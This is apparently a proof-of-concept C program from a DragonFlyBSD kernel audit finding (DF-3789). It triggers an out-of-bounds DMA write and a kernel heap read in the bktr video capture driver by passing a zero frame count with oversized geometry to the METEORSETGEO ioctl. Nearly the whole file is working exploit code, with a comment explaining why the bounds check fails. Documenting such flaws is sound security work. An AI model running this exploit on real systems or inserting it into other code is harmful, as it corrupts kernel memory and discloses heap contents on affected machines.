⬢ DragonFlyBSD Kernel Audit
DF-3789 / poc_frames0.c
← back to finding ↓ download raw
/*
 * DF-3789 PoC trigger (requires real Bt848/878 hardware + bktr driver).
 *
 * METEORSETGEO validates geo->frames only against "> 32" (bktr_core.c:1642);
 * frames == 0 passes, the resize block is skipped because
 * rows*cols*frames*2 == 0 (bktr_core.c:1657), and the oversized
 * rows/cols are stored anyway (bktr_core.c:1687-1689). The RISC builders
 * and video_read() use rows*cols*Bpp, ignoring frames -> OOB DMA write and
 * OOB read() past bigbuf. Default-format RGB16 (Bpp=2); no SACTPIXFMT
 * needed (distinct trigger from DF-1216).
 */
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>

#include <dev/video/meteor/ioctl_meteor.h>
#include <dev/video/bktr/ioctl_bt848.h>

int main(void)
{
	struct meteor_geomet geo;
	static char buf[2046 * 1022 * 2];
	int fd, arg = METEOR_CAP_SINGLE;

	fd = open("/dev/bktr0", O_RDONLY);
	if (fd < 0) { perror("open /dev/bktr0"); return 1; }

	geo.rows = 2046;	/* rows & 0x7fe == rows -> accepted */
	geo.columns = 1022;	/* columns & 0x3fe == columns -> accepted */
	geo.frames = 0;		/* no lower-bound check -> accepted */
	geo.oformat = 0;	/* default RGB16 */

	if (ioctl(fd, METEORSETGEO, &geo) < 0) { perror("METEORSETGEO"); return 1; }
	printf("geometry stored without realloc; starting capture\n");
	if (ioctl(fd, METEORCAPTUR, &arg) < 0) perror("METEORCAPTUR");

	/* video_read: count = rows*cols*Bpp = 4182024 vs 3555328-byte buffer */
	if (read(fd, buf, sizeof(buf)) < 0) perror("read");
	printf("read past bigbuf returned (heap disclosure if hw present)\n");
	return 0;
}